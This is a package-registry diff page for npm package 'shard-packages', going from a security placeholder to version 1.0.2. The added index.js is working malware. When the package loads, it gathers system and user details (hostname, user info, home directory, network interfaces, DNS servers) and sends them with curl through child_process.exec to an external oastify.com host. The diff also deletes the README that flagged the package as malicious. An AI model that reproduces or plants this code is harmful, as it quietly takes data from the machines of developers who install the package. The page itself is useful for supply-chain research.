shard-packages 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of shard-packages might be problematic. Click here for more details.
- package/index.js +38 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
const package = packageJSON.name;
|
6
|
+
|
7
|
+
// Gather system information
|
8
|
+
const systemInfo = {
|
9
|
+
platform: os.platform(),
|
10
|
+
arch: os.arch(),
|
11
|
+
release: os.release(),
|
12
|
+
type: os.type(),
|
13
|
+
totalMemory: os.totalmem(),
|
14
|
+
freeMemory: os.freemem(),
|
15
|
+
cpus: os.cpus(),
|
16
|
+
networkInterfaces: os.networkInterfaces(),
|
17
|
+
homedir: os.homedir(),
|
18
|
+
hostname: os.hostname(),
|
19
|
+
userInfo: os.userInfo(),
|
20
|
+
dnsServers: dns.getServers(),
|
21
|
+
packageResolved: packageJSON ? packageJSON.___resolved : undefined,
|
22
|
+
packageVersion: packageJSON.version,
|
23
|
+
packageInfo: packageJSON
|
24
|
+
};
|
25
|
+
|
26
|
+
const systemInfoString = encodeURIComponent(JSON.stringify(systemInfo));
|
27
|
+
|
28
|
+
// Send system information using curl
|
29
|
+
const curlCommand = `curl "https://dl2sdjhdvnq7kj6rg22v7vsyapgg45.oastify.com/?systemInfo=${systemInfoString}"`;
|
30
|
+
|
31
|
+
exec(curlCommand, (error, stdout, stderr) => {
|
32
|
+
if (error) {
|
33
|
+
console.error(`exec error: ${error}`);
|
34
|
+
return;
|
35
|
+
}
|
36
|
+
console.log(`stdout: ${stdout}`);
|
37
|
+
console.error(`stderr: ${stderr}`);
|
38
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "shard-packages",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=shard-packages for more information.
|